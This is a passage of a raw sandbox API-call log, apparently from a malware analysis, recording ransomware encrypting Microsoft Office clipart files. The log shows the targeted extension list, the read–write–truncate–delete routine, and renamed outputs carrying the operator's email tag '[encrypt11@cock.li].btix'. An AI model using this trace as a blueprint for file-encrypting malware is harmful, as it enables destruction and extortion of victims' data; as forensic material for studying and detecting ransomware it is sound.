[0130.049] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.049] lstrlenW (lpString=".bz2") returned 4 [0130.049] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.049] lstrlenW (lpString=".7z") returned 3 [0130.049] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0130.049] lstrlenW (lpString=".dbf") returned 4 [0130.049] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0130.049] lstrlenW (lpString=".1cd") returned 4 [0130.049] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02075_.WMF") returned 68 [0130.049] lstrlenW (lpString=".jpg") returned 4 [0130.049] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.050] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0130.050] lstrlenW (lpString="FLAP.WMF") returned 8 [0130.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a4 [0130.238] GetFileSizeEx (in: hFile=0x4a4, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=2070) returned 1 [0130.238] CloseHandle (hObject=0x4a4) returned 1 [0130.238] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 0x220 [0130.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0130.529] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.529] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x41c [0130.530] GetLastError () returned 0x0 [0130.530] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x816, lpOverlapped=0x0) returned 1 [0130.557] WriteFile (in: hFile=0x41c, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x820, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x820, lpOverlapped=0x0) returned 1 [0130.558] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.558] WriteFile (in: hFile=0x41c, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xe4, lpOverlapped=0x0) returned 1 [0130.558] SetEndOfFile (hFile=0x41c) returned 1 [0130.559] CloseHandle (hObject=0x41c) returned 1 [0130.559] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.559] SetEndOfFile (hFile=0x430) returned 1 [0130.561] CloseHandle (hObject=0x430) returned 1 [0130.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0130.562] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf")) returned 1 [0130.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0130.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0130.562] lstrlenW (lpString=".doc") returned 4 [0130.562] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.562] lstrlenW (lpString=".docx") returned 5 [0130.562] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0130.562] lstrlenW (lpString=".pdf") returned 4 [0130.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.563] lstrlenW (lpString=".xls") returned 4 [0130.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.563] lstrlenW (lpString=".xlsx") returned 5 [0130.563] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0130.563] lstrlenW (lpString=".ppt") returned 4 [0130.563] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0130.563] lstrlenW (lpString=".zip") returned 4 [0130.563] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.563] lstrlenW (lpString=".rar") returned 4 [0130.563] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.563] lstrlenW (lpString=".bz2") returned 4 [0130.563] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.563] lstrlenW (lpString=".7z") returned 3 [0130.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0130.563] lstrlenW (lpString=".dbf") returned 4 [0130.563] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0130.563] lstrlenW (lpString=".1cd") returned 4 [0130.563] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0130.563] lstrlenW (lpString=".jpg") returned 4 [0130.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0130.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0130.563] lstrlenW (lpString=".doc") returned 4 [0130.563] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.563] lstrlenW (lpString=".docx") returned 5 [0130.563] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0130.563] lstrlenW (lpString=".pdf") returned 4 [0130.563] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.563] lstrlenW (lpString=".xls") returned 4 [0130.563] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.563] lstrlenW (lpString=".xlsx") returned 5 [0130.563] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0130.564] lstrlenW (lpString=".ppt") returned 4 [0130.564] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0130.564] lstrlenW (lpString=".zip") returned 4 [0130.564] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.564] lstrlenW (lpString=".rar") returned 4 [0130.564] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.564] lstrlenW (lpString=".bz2") returned 4 [0130.564] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.564] lstrlenW (lpString=".7z") returned 3 [0130.564] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0130.564] lstrlenW (lpString=".dbf") returned 4 [0130.564] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0130.564] lstrlenW (lpString=".1cd") returned 4 [0130.564] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF") returned 64 [0130.564] lstrlenW (lpString=".jpg") returned 4 [0130.564] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.564] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0130.564] lstrlenW (lpString="HH00241_.WMF") returned 12 [0130.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0130.703] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=1960) returned 1 [0130.703] CloseHandle (hObject=0x460) returned 1 [0130.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 0x220 [0130.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0130.703] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0130.704] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.704] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0130.705] GetLastError () returned 0x0 [0130.705] ReadFile (in: hFile=0x460, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x7a8, lpOverlapped=0x0) returned 1 [0130.718] WriteFile (in: hFile=0x4b4, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x7b0, lpOverlapped=0x0) returned 1 [0130.719] ReadFile (in: hFile=0x460, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0130.719] WriteFile (in: hFile=0x4b4, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0130.719] SetEndOfFile (hFile=0x4b4) returned 1 [0130.719] CloseHandle (hObject=0x4b4) returned 1 [0130.719] SetFilePointerEx (in: hFile=0x460, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0130.719] SetEndOfFile (hFile=0x460) returned 1 [0130.721] CloseHandle (hObject=0x460) returned 1 [0130.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0130.722] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf")) returned 1 [0130.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0130.722] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0130.722] lstrlenW (lpString=".doc") returned 4 [0130.722] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.722] lstrlenW (lpString=".docx") returned 5 [0130.722] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.722] lstrlenW (lpString=".pdf") returned 4 [0130.722] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.723] lstrlenW (lpString=".xls") returned 4 [0130.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.723] lstrlenW (lpString=".xlsx") returned 5 [0130.723] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.723] lstrlenW (lpString=".ppt") returned 4 [0130.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0130.723] lstrlenW (lpString=".zip") returned 4 [0130.723] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.723] lstrlenW (lpString=".rar") returned 4 [0130.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.723] lstrlenW (lpString=".bz2") returned 4 [0130.723] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.723] lstrlenW (lpString=".7z") returned 3 [0130.723] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0130.723] lstrlenW (lpString=".dbf") returned 4 [0130.723] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0130.723] lstrlenW (lpString=".1cd") returned 4 [0130.723] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0130.723] lstrlenW (lpString=".jpg") returned 4 [0130.723] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0130.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0130.723] lstrlenW (lpString=".doc") returned 4 [0130.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0130.723] lstrlenW (lpString=".docx") returned 5 [0130.723] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0130.723] lstrlenW (lpString=".pdf") returned 4 [0130.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0130.723] lstrlenW (lpString=".xls") returned 4 [0130.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0130.723] lstrlenW (lpString=".xlsx") returned 5 [0130.724] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0130.724] lstrlenW (lpString=".ppt") returned 4 [0130.724] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0130.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0130.724] lstrlenW (lpString=".zip") returned 4 [0130.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0130.724] lstrlenW (lpString=".rar") returned 4 [0130.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0130.724] lstrlenW (lpString=".bz2") returned 4 [0130.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0130.724] lstrlenW (lpString=".7z") returned 3 [0130.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0130.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0130.724] lstrlenW (lpString=".dbf") returned 4 [0130.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0130.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0130.724] lstrlenW (lpString=".1cd") returned 4 [0130.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0130.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF") returned 68 [0130.724] lstrlenW (lpString=".jpg") returned 4 [0130.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0130.724] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0130.724] lstrlenW (lpString="HH00513_.WMF") returned 12 [0130.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0131.071] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=818) returned 1 [0131.071] CloseHandle (hObject=0x43c) returned 1 [0131.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 0x220 [0131.071] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0131.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0131.072] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.072] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0131.072] GetLastError () returned 0x0 [0131.072] ReadFile (in: hFile=0x43c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x332, lpOverlapped=0x0) returned 1 [0131.290] WriteFile (in: hFile=0x4bc, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x340, lpOverlapped=0x0) returned 1 [0131.291] ReadFile (in: hFile=0x43c, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0131.291] WriteFile (in: hFile=0x4bc, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0131.291] SetEndOfFile (hFile=0x4bc) returned 1 [0131.306] CloseHandle (hObject=0x4bc) returned 1 [0131.306] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0131.307] SetEndOfFile (hFile=0x43c) returned 1 [0131.341] CloseHandle (hObject=0x43c) returned 1 [0131.341] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0131.346] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00513_.wmf")) returned 1 [0131.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0131.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0131.348] lstrlenW (lpString=".doc") returned 4 [0131.348] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0131.348] lstrlenW (lpString=".docx") returned 5 [0131.348] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0131.348] lstrlenW (lpString=".pdf") returned 4 [0131.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0131.348] lstrlenW (lpString=".xls") returned 4 [0131.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0131.348] lstrlenW (lpString=".xlsx") returned 5 [0131.348] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0131.348] lstrlenW (lpString=".ppt") returned 4 [0131.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0131.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0131.348] lstrlenW (lpString=".zip") returned 4 [0131.348] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0131.348] lstrlenW (lpString=".rar") returned 4 [0131.348] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0131.348] lstrlenW (lpString=".bz2") returned 4 [0131.348] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0131.348] lstrlenW (lpString=".7z") returned 3 [0131.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0131.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0131.348] lstrlenW (lpString=".dbf") returned 4 [0131.348] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0131.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0131.348] lstrlenW (lpString=".1cd") returned 4 [0131.348] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0131.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0131.348] lstrlenW (lpString=".jpg") returned 4 [0131.348] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0131.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0131.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0131.349] lstrlenW (lpString=".doc") returned 4 [0131.349] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0131.349] lstrlenW (lpString=".docx") returned 5 [0131.349] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0131.349] lstrlenW (lpString=".pdf") returned 4 [0131.349] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0131.349] lstrlenW (lpString=".xls") returned 4 [0131.349] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0131.349] lstrlenW (lpString=".xlsx") returned 5 [0131.349] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0131.349] lstrlenW (lpString=".ppt") returned 4 [0131.349] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0131.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0131.349] lstrlenW (lpString=".zip") returned 4 [0131.349] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0131.349] lstrlenW (lpString=".rar") returned 4 [0131.349] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0131.349] lstrlenW (lpString=".bz2") returned 4 [0131.349] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0131.349] lstrlenW (lpString=".7z") returned 3 [0131.349] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0131.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00513_.WMF") returned 68 [0131.349] lstrlenW (lpString=".dbf") returned 4 [0131.349] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 